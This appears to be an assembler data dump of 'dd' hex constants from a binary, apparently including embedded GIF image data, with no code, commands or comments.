dd 0E1373EBAh, 7B0961E7h, 0D7B29724h, 0B02C9D6Ah, 0FBFC895Fh
dd 0CBF75DB6h, 6F65EC0Fh, 0E7456F9Fh, 1C23D91Ah, 0FE51F33Eh
dd 365369CEh, 0AFD3875Fh, 2FC5F1FEh, 0D23393F6h, 3F27D8E1h
dd 0F0E8EDF7h, 849BA348h, 0D6F247DAh, 0ECDCBBADh, 55FED7A2h
dd 0BFD4BA9Fh, 2ADC745Bh, 0E761E81Dh, 7FC5C95Dh, 3B8035A0h
dd 0A80476A7h, 7447E276h, 6762A7E8h, 0F80E7387h, 80674F5Eh
dd 0B7DF813h, 0B7667F36h, 75E60672h, 0FB7F47D1h, 57F85C87h
dd 82263D7Fh, 1B7C0645h, 142A7D26h, 72C57A7Fh, 2172961Ch
dd 66BE82C6h, 6EA7207Dh, 8C70F711h, 271967B5h, 6F57145Ah
dd 307E9833h, 75A07177h, 6316F26Dh, 1B83182Dh, 0A59266E7h
dd 62E7F971h, 0D81D725h, 6F37156h, 6E16D26Ch, 7E5ED7FDh
dd 0D82A5815h, 71783B7Dh, 3C856703h, 0B7D585E8h, 70B66C6Fh
dd 6583F70Fh, 0C8606B08h, 85C6F185h, 96E1830h, 0C8396E36h
dd 86980D6Eh, 517EF83Fh, 0D7BC68F8h, 8466A170h, 658396BDh
dd 86CD7BE7h, 7AC7F086h, 27A75F5h, 21FE5CA7h, 285D60D7h
dd 8217E874h, 627C1643h, 0A6CC8008h, 7F57C870h, 1662F745h
dd 280B8797h, 6C486D71h, 21683610h, 175C8707h, 88E89688h
dd 4288C86Ah, 0A87A7568h, 65C67D68h, 5A8946BFh, 983E7EA8h
dd 50B8847Dh, 1683C886h, 0D6B780F8h, 89D64286h, 0A48BB864h
dd 36E98956h, 7D76A58Ch, 0A98B16EEh, 0E71A6348h, 6D67015Dh
dd 0CB87267Eh, 0F8CE7E67h, 6E88656Ah, 0B982E687h, 46827DD8h
dd 5798AA8Ch, 87859590h, 78D58168h, 85072D87h, 5371E8BFh
dd 0C69482E8h, 8E685A8Dh, 698746ADh, 386C8DB6h, 6CE71084h
dd 0D47EE7EFh, 0E8EA8678h, 8E576B89h, 0FF8E26C8h, 38AE8E46h
dd 42587690h, 5B7B48E0h, 0A8B08918h, 6996B172h, 2D70C726h
dd 284471C7h, 9108CF72h, 0F7208FCh, 0F6BB8A49h, 90E8478Fh
dd 0A161D6FDh, 0F8F78F98h, 89C9187Ch, 73650731h, 491975C8h
dd 8D88DA85h, 558287Fh, 0B582FE99h, 877D6AB8h, 5F881859h
dd 0FE8F2814h, 47498707h, 76E7FF76h, 0D07FA92Ah, 562572E6h
dd 7BF8A680h, 0AF67F7F8h, 167A9485h, 81473A7Ch, 59686866h
dd 0A9386887h, 8175EE80h, 3B917950h, 293D8BD9h, 75193888h
dd 7760742h, 0B5BA95F8h, 9568818Eh, 1C9338DFh, 58C87365h
dd 4CB7D450h, 827AA96Fh, 496A7988h, 8B296C52h, 5E9714FBh
dd 0A4779725h, 90747497h, 224FD903h, 0C9834FC6h, 98543797h
dd 869804A5h, 798C98B9h, 52C9754Fh, 9298D977h, 0A4209939h
dd 99799498h, 98996986h, 0A7A899B9h, 99F99C99h, 0A099E79Ch
dd 278A9A39h, 9A79A49Ah, 0A89A6551h, 0A5449AB9h, 9AF9AC9Ah
dd 0B09AE537h, 252E9B39h, 9B79B49Bh, 0B89B6521h, 0A5189BB9h
dd 9BF9BC9Bh, 0C09BE50Eh, 25039C39h, 9C79C49Ch, 0C89C64F6h
dd 0A4ED9CB9h, 9CF9CC9Ch, 3398F4FFh, 59D09915h, 9D253F9Dh
dd 0D69D453Ah, 0F39DB9FEh, 65229CE4h, 9E19E046h, 5C9E39E2h
dd 79E442B4h, 9E99E89Eh, 0DE4A09E8h, 0B41E7349h, 9F10FF0Fh
dd 0F49F39F2h, 79F69F59h, 9F99F89Fh, 0FC9FB9FAh, 0F9FE9FD9h
dd 0A01A009Fh, 1D0FBA02h, 0E9957A04h, 0A09A0241h, 0CA0BA0Ah
dd 0FA0EA0DAh, 0A059FBA0h, 359ED495h, 80DD41C4h, 0A190C60Ch
dd 1CA1B0C8h, 9A1CA1DAh, 0A200C80Ch, 24A21A22h, 5A26A23Ah
dd 0A27A28A2h, 2CA29A2Ah, 0DA2EA2BAh, 0A2FA30A2h, 34A31A32h
dd 0EA33A33Ah, 0A1EA38A1h, 0F70DD0CEh, 242741D0h, 0D50F50Fh
dd 430BE0C0h, 7A460C0Ah, 0A49A48A4h, 4C0BEA47h, 0FA4EA4DAh
dd 0A51A50A4h, 54A53A52h, 9A56A4AAh, 0A59A54A4h, 5CA5BA5Ah
dd 0FA57A5BAh, 0C0A45A5h, 40DB0C6h, 3A1449FAh, 0F60F543h
dd 3D06A0F5h, 0FA6E0360h, 0A71A70A6h, 7302E036h, 7A74A75Ah
dd 0A79A76A7h, 7AA7BA78h
dd 0FA7CA7DAh, 0A81A7EA7h, 0FEA83A80h, 84A85A82h, 9A86A87Ah
dd 0A8BA72A8h, 6A03DA6Fh, 80F60F60h, 0A914270Fh, 25026058h
dd 9A98A970h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh, 0AA3AA2AAh
dd 0A6AA5AA4h, 6AA6AA7Ah, 0F805802h, 0D8A13A6Ah, 0A9DA5419h
dd 0F10EE47h, 8106E07Eh, 90710760h, 0ABB074ABh, 0BCABDABCh
dd 7406FAh, 7106FACh, 0C6AC406Bh, 7AC8AC5Ah, 0AC1AC4ACh
dd 0CDAC2ACCh, 1ACEACFAh, 0AD3AD0ADh, 0D4AD5AD2h, 9AD6AD7Ah
dd 0ADBAD8ADh, 0CFADDADAh, 0BAE0ABEAh, 71AB9ABh, 73081076h
dd 60F307E0h, 0F441EA0h, 8904907Eh, 1AF00920h, 0AF3AF2AFh
dd 0F6AF5AF4h, 9AF8AF7Ah, 0AFBAFAAFh, 0FEAFDAFCh, 1B00AFFAh
dd 49089B0h, 0EA0F407Eh, 1A6748CAh, 0F60F243h, 9405B043h
dd 0A09F09A0h, 0B1309C09h, 16B15B14h, 9B18B17Bh, 0B1BB1AB1h
dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 9AB12B1Eh, 70610940h
dd 0A3E0F604h, 0FFE9423h, 0E0058034h, 34120FF0h, 0B35B34B3h
dd 0FF404B36h, 40580E00h, 494A3D03h, 0F9430B09h, 50500E90h
dd 9E09109h, 0AE0A80AEh, 0BB4A0AA0h, 0B4DB4CB4h, 50B4FB4Eh
dd 3B52B51Bh, 0B55B54B5h, 58B57B56h, 3B5AB59Bh, 0AEB47B5h
dd 9509109Eh, 90E90540h, 0E74250Fh, 3D0FF028h, 0BB6A0D5Ah
dd 0B6DB6CB6h, 70B6FB6Eh, 3B72B71Bh, 0B75B74B7h, 78B77B76h
dd 9B7AB79Bh, 0F70F2B7h, 0E70280FFh, 0F493B640h, 0F942FB3h
dd 8F088078h, 20C20A30h, 0B8D0E30Ch, 90B8FB8Eh, 3B92B91Bh
dd 0B95B94B9h, 98B97B96h, 0BB9AB99Bh, 0B9DB9CB9h, 0C20DEB9Ah
dd 608D0A30h, 0B8207808h, 9D065423h, 50DBA690h, 0BAD0D80Dh
dd 0B0BAFBAEh, 3BB2BB1Bh, 0BB5BB4BBh, 0B8BB7BB6h, 0BBBABB9Bh
dd 0BBDBBCBBh, 0DB0D5BBAh, 509DA6A0h, 491BA606h, 0F842EB84h
dd 60950570h, 0E10E409h, 0D00EA0DFh, 3BD2BD1Bh, 0BD5BD4BDh
dd 0BD7BFED6h, 0DABD9BD8h, 0DBDCBDBBh, 0BDFBDEBDh, 0E6BDDBE0h
dd 60E40E10h, 5709509h, 36421BC5h, 70F40DD0h, 0E00DD0Fh
dd 0F2BF1BF0h, 5BF4BF3Bh, 0BF7BF6BFh, 0FABF9BF8h, 0DBFCBFBBh
dd 0BFFBFEBFh, 3CBFFC00h, 60DD0F4Ah, 79EBE903h, 0B1548AAFh
dd 0C0F8479Ah, 9F09304h, 0EE0ED0FFh, 5C140EC0h, 0C17C16C1h
dd 1AC19C18h, 0DC1CC1BCh, 0C1FC1EC1h, 22C21C20h, 2C24C23Ch
dd 0FF0EDC2h, 4C09509Fh, 0C41FC070h, 0EF0D802h, 329EA0FFh
dd 0AC34C33Ch, 0EF0FF45h, 2C02C0D8h, 0FC09792Ch, 478C0B54h
dd 8D0460F6h, 5A1009E0h, 0C47C46C4h, 0FEC49C48h, 60930A19h
dd 0F0C3B04h, 0EE0DB02Bh, 5C54C4A0h, 0C57C56C5h, 0DB0EEA00h
dd 0FC4F02B0h, 42DBC747h, 870460F5h, 1A0FC440h, 0C669F600h
dd 0F2C69C58h, 9C6AC689h, 8709EC4h, 2B425C4Eh, 0B7E0E00h
dd 0C6BC6CA0h, 779F4C6Dh, 0EC7CC79Ch, 9F8C7B9Fh, 0E00F7FEh
dd 3DB3EC5Ch, 7C3F556Ch, 480F247h, 0F6099082h, 145F4470h
dd 0C9044B00h, 92466C35h, 0FC950EECh, 0F0C33C8h, 8409A0F6h
dd 0DC4F0480h, 0FF0DB02h, 55456C8Dh, 7C32C912h, 45BC93C9h
dd 0AB454CA8h, 0BCAD450Ch, 0FFC9A44h, 5D02D0DBh, 0C8559BCh
dd 476C8757h, 9507CC89h, 0F0E50EE0h, 0CC1CC00Dh, 0C4CC3CC2h
dd 1001CC4Ch, 0CC5CC7CCh, 0CCCCBCCAh, 0FCCECCDCh, 0CC9CCACCh
dd 0D0CD20DFh, 5CD4CCDCh, 0CCACD8CDh, 950EE0E5h, 4C9E07B0h
dd 2D0F542h, 0E5C310C6h, 7CE60DD0h, 0CE9CE8CEh, 0EB0010DDh
dd 0ACECCE8Ch, 0CF1CF0CEh, 0EDCF3CF2h, 7CF6CF4Ch, 0CF9CF8CFh
dd 0FACEFCE9h, 0CCF8CF5Ch, 0CDBCF2CFh, 0B40C60FFh, 57A5C84Ch
dd 47B7AE88h, 95079C89h, 30DF0EB0h, 0D11D100Dh, 14D13D12h
dd 1001D14Dh, 0D10D17D1h, 1BD1255Ah, 3D18D15Dh, 0D1A2550Dh
dd 23D1F559h, 8D21D20Dh, 0FE9D25D1h, 0D26D1FD1h, 23D1CD27h
dd 0D25D17Dh, 0D22D26D2h, 19D2CD2Dh, 0ED1DD1DDh, 0D3BD3AD1h
dd 0EB0DFD14h, 0F06C08D0h, 0CE1423CDh, 0EB0FF0C0h, 90D20DD0h
dd 0D4BD4AD4h, 10D2D4Ch, 0FD4BD4E0h, 55AD49D4h, 54D4DD4Dh
dd 0D57D4ADh, 0D53559D5h, 4FD52D5Bh, 1D53D5BDh, 0D60D58D5h
dd 61D52D4Ch, 8255D5ADh, 0D69D4ED5h, 57D6CD61h, 0BD64D6FDh
dd 0D60D6ED6h, 50D72D59h, 0DD4BD55Dh, 0FF0EB0Dh, 83D050C0h
dd 959DCB7Bh, 0F7475CBh, 9306C048h, 0F0DF0EA0h, 0D8BD8A0Ch
dd 8ED8DD8Ch, 0F001D8FDh, 0D8AD910Ch, 96D94D93h, 0D95D8BDh
dd 0D99D95D9h, 98255D93h, 6D97D9BDh, 0D92D99D9h, 8ED98DA4h
dd 2DA0D9BDh, 0D97DA9D9h, 0ADDA1D9Ch, 1DB0D8FDh, 0BCFDB1DBh
dd 42063087h, 0D0F2422Dh, 0FF0BE02h, 390DB0EAh, 10C8DBFAh
dd 0DC2A1B00h, 1CDC5DC3h, 8DBFDC4Ah, 0DC6DC1DCh, 0C7255DC6h
dd 0EDC4DCCDh, 0DDFECDDCh, 0DD4DD1A1h, 0D1DCAA38h, 0FDD9DC8Dh
dd 0DDADC1DCh, 0CCDCBDD6h, 0DD8DE0Dh, 0DDADDFDDh, 0DBDBFDCAh
dd 0E0FF0EA0h, 492D7E0Bh, 0F842CC5Fh, 70680480h, 0D90E908h
dd 0F8DF70CAh, 0BDFADF9Dh, 0CADFCDFh, 0FFDF9001h, 1E01DF8Dh
dd 0DFADFDE0h, 0DFEE04h, 0BE07DF7Eh, 0E09E0AE0h, 0FE0DE08h
dd 1E0EE10Eh, 0E0CE0FE1h, 3DFCE02h, 0BE05E17Eh, 0DFDE1CE1h
dd 820E90D9h, 1DB70600h, 0BBCE142h, 0D80E90FFh, 0BE2AA190h
dd 0A19E2CE2h, 2AE2E001h, 20C6E2FEh, 0E2DE30E3h, 34E36E31h
dd 5E35E33Eh, 0E32E34E3h, 2BE3EE39h, 0CE37E40Eh, 0E3BE3FE2h
dd 3CE47E3Ah, 8E4AE41Eh, 0E48E45E4h, 42E4EE4Bh, 6E36E46Eh
dd 0E90D80Ch, 0ED0BB0FFh, 0BD80BC6Dh, 474D8263h, 5F0480F5h
dd 60E807D0h, 0E650C40Dh, 68E67E66h, 4E6AE69Eh, 0E670010Ch
dd 55E66676h, 0DE68E6B2h, 674E70E6h, 77E74E65h, 0E79E6EEh
dd 0CE7BFEE7h, 0E76E77E6h, 82E7CE73h, 0E6CE78Eh, 0E71E7FE8h
dd 72E75E7Eh, 0AE8CE8BEh, 0E80D6E6h, 2305C07Bh, 0D0F8420Eh
dd 0FF0B702h, 600D20E5h, 7001A4AAh, 0C0E9DA4h, 46E9FE9Fh
dd 4A56EA2Ah, 0A48E9EEAh, 0A3EA8EA1h, 0AEA0EA7Eh, 0EACEADEAh
dd 0AEE9C676h, 0EA9EA4Eh, 0EABEAEEBh, 74EA0EAFh, 2A49EB86h
dd 0EB9EB1EAh, 0D2A57EC0h, 70FF0E50h, 490E590Bh, 8942BDEFh
dd 607905CCh, 0C50D30Eh, 0D2ED1ED0h, 5ED4ED3Eh, 10C5EDh
dd 0D6ED8ED2h, 0BEDAED7Eh, 0ED7EDDEDh, 0E2EDFED5h, 4EE3ED0Eh
dd 0EE6EE0EEh, 0EAEE7EDBh, 4EE5EE7Eh, 0EDAEDDEDh, 0F1EE4EDFh
dd 0BEF4EE9Eh, 0E60D3EDh, 3BE92077h, 0F0B4E95Ch, 0CE0E20Fh
dd 2F010BAh, 0AF04F03Fh, 0F030010Bh, 6F07F07h, 0CF05F08Fh
dd 0F0AF05F0h, 10F0AF01h, 4F14F0BFh, 0F12F13F1h, 0DF13F0Eh
dd 9F11F17Fh, 0F02F1EF1h, 1AF15F1Ch, 0F0FF1DFh, 0EF1BF2FEh
dd 0F02F0DF0h, 0FF0E20CEh, 8EC70B40h, 8B6D07C0h, 4847BD09h
dd 0C0770560h, 0EF50C70Dh, 3CED9F3Ah, 0DEF3EF4Fh, 0ED3EE8F3h
dd 40EECEEDh, 0EEEFED8Fh, 0EE5ED1F3h, 3DF49F43h, 0BEEBF3FFh
dd 0C5F50F3h, 770DC0C7h, 0FE930560h, 2D0F941h, 0BDCB20B2h
dd 0FF5E0A90h, 0F61F60F5h, 600010A9h, 3F64F64Fh, 0F62F65F6h
dd 67F62F69h, 0DF67F5EFh, 0F71F68F6h, 6FF70F71h, 0AF70F6BFh
dd 0F6EF74F6h, 5FF7BF76h, 7F72F79Fh, 0F6CF7AF7h, 6BF78F7Dh
dd 0DF5FF6AFh, 0B2CA10Bh, 5B4B6F2Fh, 0D476671Eh, 530460Eh
dd 51ECF077h, 0F43F3AFh, 0EE1F40EFh, 4CF98F99h, 0BF97F9DFh
dd 0F9DEEEF9h, 0EAF9FEE8h, 0BF41255Eh, 0F3AF95F4h, 4B0790D3h
dd 0DB2DC710h, 0FF0B102h, 0A40B20D2h, 7FB6FB50h, 0A4FB8FBh
dd 55FB8001h, 6FBBFB52h, 0FB9FBFFBh, 0BFFB7FBEh, 3FBAFC1Fh
dd 0FC8FC0FCh, 0C8FCBFC7h
dd 0FEBDFC1Fh, 0AFD0FCCFh, 0FC6FCFFCh, 0CAFCEFC5h, 9FC5FD0Fh
dd 0FD4FDAFCh, 0D2FC4FD2h, 4FC2FC6Fh, 0D20B20Ah, 8B0B10FFh
dd 4F31C3CFh, 47C8B793h, 9304BF90h, 1EF5FA9Fh, 0ED955AEFh
dd 41F99559h, 7FA6EF2Fh, 0FF3EEDFFh, 42FFCFF6h, 1100FA6Fh
dd 62C0D8A0h, 1C120B02h, 0C1A14018h, 160F0A84h, 22310874h
dd 2D158A42h, 0ED38445Eh, 0F92312CEh, 0F9047DE0h, 588B5F31h
dd 4AD1A4FFh, 4AE55295h, 0B402A996h, 6172997Ch, 5D2D994Ch
dd 53395C2Eh, 32974D25h, 5A04F615h, 9A4BE7D3h, 8CE26D3Ah
dd 0CDE933C9h, 328D2CA2h, 0E714AA1Dh, 7F39A8D0h, 8A99B4F2h
dd 0B17FB496h, 190C785Ah, 0B258EC56h, 7486CD65h, 0AFDEAF07h
dd 0BDB4D461h, 2E571B85h, 7EC36A5Ch, 0F69783D5h, 7BBE5EECh
dd 0B25931DBh, 8C341B87h, 0C61F0D85h, 62F110C8h, 3F1D8DC6h
dd 18B91C86h, 991B6E34h, 6F9B1580h, 0CC7E2C45h, 5FE6572h
dd 562B3A1Dh, 9F4DA5D1h, 749A2D46h, 4DADD66Ah, 2FC662E7h
dd 7DCC0AD6h, 9B16DF6Dh, 0B9DB6D76h, 0BDD6E5BDh, 0F0F7179Bh
dd 2CAEF1BEh, 160A2319h, 9DCD60AFh, 5D1E873Fh, 0D0EA74FAh
dd 9EC75403h, 0EE76FB5Dh, 0A77FBDDDh, 28960BCEh, 0D4AE4B2Eh
dd 0C6CF990Eh, 0A4D8792Ch, 5F1F8319h, 0F5FA7CFEh, 9FB007EBh
dd 0FE7EFF5Fh, 0C7CBFDFDh, 7013FEFh, 693E3024h, 166791B0h
dd 0AE23D01Bh, 6374B341h, 26DF2DCBh, 0BD2F0E04h, 0A430C41Ch
dd 4220F07Bh, 291C3907h, 465C1605h, 1344B124h, 4531444Fh
dd 0B1616A5Ch, 845F1745h, 6B194631h, 1B46B151h, 4731C46Fh
dd 9154771Dh, 911C52C5h, 0F0220743h, 2F245060h, 9C471124h
dd 0B2649672h, 849F2749h, 0A7294A32h, 2B4AB2A4h, 32B4AFh
dd 0B2E4B72Ch, 9493274Bh, 33228BC4h, 0DE421324h, 42ADF426h
dd 3324C8E1h, 862749Fh, 8360802h, 4EA4FE79h, 33C4EF3Bh
dd 0ACF73D4Fh, 0FF3F1233h, 41503404h, 12342507h, 34450F3Eh
dd 65174551h, 0FD3E51B4h, 200D8424h, 9D217882h, 0E531F331h
dd 39C46904h, 0D273D3A7h, 51543501h, 54B52547h, 3541D553h
dd 654D54D5h, 5552D5B5h, 5955D555h, 0D6152567h, 15C56955h
dd 11CF4F57h, 4C139A47h, 74D9319h, 0CD1094CDh, 50BCD4B9h
dd 0B1E506D8h, 821487E7h, 2F8B8278h, 5AB6A5A6h, 36C5AF6Bh
dd 0E5B76D5Bh, 0BF6F5BB6h, 715C3705h, 8B9705C7h, 0E1488226h
dd 21E47B07h, 66759E4Bh, 7A9D2230h, 9F07C1EEh, 37C5EE7Bh
dd 0ADF17D5Fh, 0FF7F5FB7h, 811F77F5h, 60B82607h, 0F7AE0182h
dd 66107F9Fh, 1B85DFD8h, 89623886h, 0E2B8A627h, 4749EB8Ah
dd 61D61989h, 89615957h, 6437B635h, 1DD61E3Dh, 2290CC3Fh
dd 66561B87h, 6F9765B9h, 9965E180h, 66B9A667h, 39C66F9Bh
dd 0E6779D67h, 7798E759h, 0A41CEFEh, 3358FC33h, 48FE7FB7h
dd 96449302h, 0A769BA66h, 6A3A869Fh, 0BAA6A7A9h, 0C6AFAB6Ah
dd 0B7AD6B3Ah, 1E131AE6h, 5927F8FCh, 2B558792h, 0B58F90C2h
dd 1DB1C2CBh, 381EA7B4h, 6E21C07Ah, 1BA6E7B9h, 0C6EA1707h
dd 0F7BD6F3Bh, 0BF6FBBE6h, 703C06FFh, 3BBF01C1h, 0B0E01EF0h
dd 16B3DD67h, 1284C2C6h, 4A11044h, 0BCA727C9h, 0C72FCB72h
dd 21CD733Ch, 0CF73BCE7h, 743D073Fh, 0BCD747D1h, 474FD374h
dd 4C12F53Dh, 7D98C2C0h, 0E41366D6h, 191AE3B3h, 91DCDC76h
dd 0AA711F27h, 0DF77A691h, 9A5E077Fh, 0BE219C65h, 478FE378h
dd 97E5793Eh, 0E779BE67h, 7A3E879Fh, 0FE1FA7E9h, 1ABDF79h
dd 0CB8E9F47h, 7A9EA772h, 9685D9A4h, 0A5BFC45Bh, 47CFF37Ch
dd 0D65CFCBFh, 0F77DBF67h, 0FE3F87DFh, 0BFA1665Ch, 0AFEFFB7Eh
dd 0F7FD169Fh, 0FDFFBFE7h, 0FA2007D3h, 240317Ch, 780D016h
dd 0FE026044h, 60C017Dh, 0F81D036h, 25046084h, 4A01C0C8h
dd 0B1781D83h, 3764861Dh, 2ED4B7BBh, 8791B783h, 423844C2h
dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 650C6184h
dd 0B07DB0A8h, 81B96C4Bh, 0B8663EC7h, 0D0F61E43h, 62043F87h
dd 0F286910h, 83F0DC77h, 720D97Dh, 0BE44783Dh, 4F89D114h
dd 0A5146284h, 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h
dd 6264508Bh, 9B68C518h, 8CD1962Fh, 71231C59h, 25BB3892h
dd 672C71A6h, 0E51C6384h, 0D63A4738h, 0C46E8AF1h, 0B8ED1E63h
dd 91E62DC7h, 133B658Ch, 46D1B507h, 90D2163Fh, 22644487h
dd 4648B915h, 6B2CF236h, 1D211B3Ch, 564A4939h, 0C49792D2h
dd 8992664h, 524990C9h, 65049F93h, 4A394528h, 9391BA52h
dd 2964F2C6h, 564AB955h, 0A395D2B6h, 529A253Ch, 0D65A4AF9h
dd 0C4B796D2h, 4962DAE5h, 2D15B4A1h, 6604BF97h, 39FE8530h
dd 0A6ECE14Ch, 0A5EC4A58h, 4CB98911h, 99D33666h, 9A65DC8Dh
dd 6A4CF992h, 0D79AD356h, 4534623Ch, 766C4D36h, 4DF9BD3h
dd 790083E7h, 3372364Ch, 6744E79Ch, 0CDA99B3Ah, 17E33563h
dd 3AA220F8h, 7A4F39E5h, 0F87712D2h, 0C83345F8h, 346BB679h
dd 0CCF01863h, 3A051F0Bh, 0D4168250h, 684507A0h, 50BA1542h
dd 8FB43686h, 30C7C0F2h, 410D719Ah, 0D11AE5BEh, 0E03EC618h
dd 767ABDB9h, 9D1FA3D4h, 0BA203CA4h, 8344618Fh, 46BD15A2h
dd 2F56045Dh, 0A5D4B5EFh, 4C69852Fh, 9A533A65h, 37A6D4D6h
dd 754E69C5h, 0F69E53BAh, 53FA7D4h, 3A85506Ah, 0D516A254h
dd 6A4547A8h, 2F5A7152h, 0A4E5B581h, 30E8C528h, 0AA0BF2ECh
dd 57AAD556h, 0B5566AC5h, 76AE55BAh, 55FABD5h, 3AC5586Bh
dd 0D596B256h, 6B4567ACh, 56BAD55Ah, 0ADD5B6B6h, 5C6B856Fh
dd 92D52AC1h, 0DAA2B53Eh, 0F4336948h, 0BE57D44Ah, 7FAFD5F6h
dd 5606C05h, 16C2583Bh, 4587B0D6h, 0BB15626Ch, 0D636C658h
dd 6C858FB1h, 593B2564h, 0B2D656CAh, 5EAC4597h, 0BBD769F5h
dd 291A95E2h, 456846A5h, 96D25A3Bh, 45A7B4D6h, 0BB556A6Dh
dd 0D6B6D65Ah, 6D85AFB5h, 5B3B656Ch, 0B6D6D6DAh, 6E6DC5B7h
dd 0DE5BBB75h, 0ADB7D6F6h, 3B67294Dh, 16E25C3Bh, 45C7B8D7h
dd 0BB95726Eh, 0D736E65Ch, 6E85CFB9h, 5D3BA574h, 0BAD756EAh
dd 766EC5D7h, 0EE5DBBB5h, 0DFBBD776h, 0C5786F05h, 96F25E3Bh
dd 45E7BCD7h, 0BBD57A6Fh, 0D7B6F65Eh, 6F85EFBDh, 5F3BE57Ch
dd 0BED7D6FAh, 7E6FC5F7h, 0FE5FBBF5h, 0FFBFD7F6h, 5807005h
dd 1702603Ch, 4607C0D8h, 0BC158270h, 0D8370660h, 70860FC1h
dd 0E10C2584h, 3B000080h, 0
dd 38464947h, 21D6137h, 0E700A4h, 10000h, 401h, 5000704h
dd 0A070009h, 50C0802h, 0E080E0Bh, 12100A11h, 0C14120Dh
dd 140F1A14h, 1B150E16h, 0F201B0Eh, 1F11211Dh, 25201323h
dd 162B2618h, 291C3128h, 362D1B2Eh, 243C3221h, 39273F36h
dd 443C2242h, 22453B2Ah, 42284E41h, 5446284Ah, 2B554829h
dd 4C2E574Ah, 5B4E2F5Ah, 36635537h, 5E3A6C5Ah, 73603C70h
dd 3E756337h, 673B7562h, 7C6A3D79h, 417E6C3Fh, 6F427F6Dh
dd 88713E81h, 44847245h, 78468D76h, 89725F90h, 5A897459h
dd 7C4A8A75h, 8F7A5F93h, 6297804Eh, 8250927Dh, 9C84529Ah
dd 33958065h, 8654CA8Ah, 91816A9Dh, 6C97806Dh, 7C909382h
dd 0A1895867h, 58BC8F3Fh, 913ECB87h, 0AA8C54B8h, 76978670h
dd 8D5B9785h, 0A68F54A5h, 56998872h, 8973DB8Ah, 0AE90599Ah
dd 41DD8C58h, 925AFF91h, 0B19553AFh, 55B2945Dh, 8D7EB397h
dd 0A08F789Fh, 68B49856h, 9646A794h, 0FE9352FFh, 5BB69A58h
dd 937BBC99h, 0B99C5BB0h, 7EF69854h, 9778A695h, 0BA9E5DA7h
dd 86A7967Fh, 9F5EA895h, 0FF9A59BCh, 81BDA05Fh, 9E50A998h
dd 0BEA160FFh, 7CFF9C5Bh, 9C69C899h, 0FC9C66E8h, 8CBAA270h
dd 0A160AE9Bh, 0AF9C8DFFh, 7FAA9D91h, 0A46DD7A2h, 0B0A297FEh
dd 6FFFA965h, 0A97BFFA7h, 0FFAA66C9h, 9AFDAA70h, 0AF7AB3A6h
dd 0FFAE75C1h, 9EBAADA1h, 0B280CDADh, 0CEB098FFh, 0A7C8AEA3h
dd 0B392B7AFh, 0FEBA6FDCh, 93C5B78Fh, 0B594DDB4h, 0FEB58BDEh
dd 84C1B3A8h, 0B78DFFB9h, 0FEBC8EFFh, 91FEBA96h, 0BBB3FFBFh
dd 0C6BDB5C3h, 9AE6C1A5h, 0C49DFEC2h, 0FCC5A3FFh, 0A9F7C7A2h
dd 0C5BDF7C6h, 0FFC8A6CDh, 0BFCFC6BEh, 0CAA8D0C7h, 0FDCE9FFFh
dd 0A7FCCAADh, 0CAC1FDCDh, 0FECCB0D2h, 0B2FFCFA9h, 0D0B8FFCFh
dd 0D8D0C8FCh, 0B4FFD2BAh, 0D6B6FFD5h, 0DDD5CCFFh, 0BCFCD5C2h
dd 0D7C4FDD8h, 0F8DBBAFEh, 0CFFFDCB7h, 0DAC2E0D8h, 0DBD9D4F9h
dd 0D2FFDAC6h, 0DACBE2DAh, 0E4DBD3FCh, 0C6E5DCD4h, 0E1C5FDDEh
dd 0E0DED8F9h, 0DAE7DED6h, 0E0D7E2DFh, 0FBE3C7E8h, 0CEE3E0DBh
dd 0E1D8FBE2h, 0EAE2D9E9h, 0DCFDE5C9h, 0E3D4E4E2h, 0EBE3DAF8h
dd 0DFE5E3DDh, 0E7CFE6E4h, 0FFE8CCFAh, 0D6FAE4DCh, 0E5E0FAE6h
dd 0FBE7D7E8h, 0EAE9E6E1h, 0E5E1E3E4h, 0DDE4EDF5h, 0E2F0E7DFh
dd 0E6E2EAE7h, 0F6E8DCF6h, 0E3EBE8E3h, 0E9E4F7E7h, 0F8E8E4ECh
dd 0E0EDEAE5h, 0ECE6FAECh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h
dd 0F2EFEAF7h, 0EBF9F0E8h, 0F1E4F3F0h, 0FFF3DFFFh, 0E9F4F1ECh
dd 0F2EDFAF2h, 0FBF1F0F5h, 0EFF6F3EEh, 0F6F0F7F5h, 0F9F7F2F8h
dd 0F3FBF6F9h, 0F8F6FBF8h, 0FCF9F4F4h, 0F5FCF8FAh, 0F8FEFDFAh
dd 0F7FAF8F7h, 0F9FEFBF6h, 0FCFAF8FBh, 0FFFDF7F9h, 0FEFAFDFBh
dd 0FEF8FFFCh, 0FBFDFFFFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh
dd 21D0000h, 80000A4h, 87100FEh, 20B0481Ch, 88382241h
dd 0B0C26110h, 518643A1h, 489C4A22h, 8B96A231h, 0DC6A3318h
dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5132730Fh, 0CFA0D098h
dd 2A79039Fh, 61B0A85Ch, 90518851h, 512A5CDEh, 50A7D3A6h
dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30B4518h, 1A915FAFh
dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
dd 0BF7DC3E1h, 91B32C9Eh, 8E32D631h, 38C6469Dh, 0BDE42AB9h
dd 0D16B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E4CB0E2h
dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
dd 4C026018h, 4336D8h, 44C6D833h, 2005D502h, 461083E0h
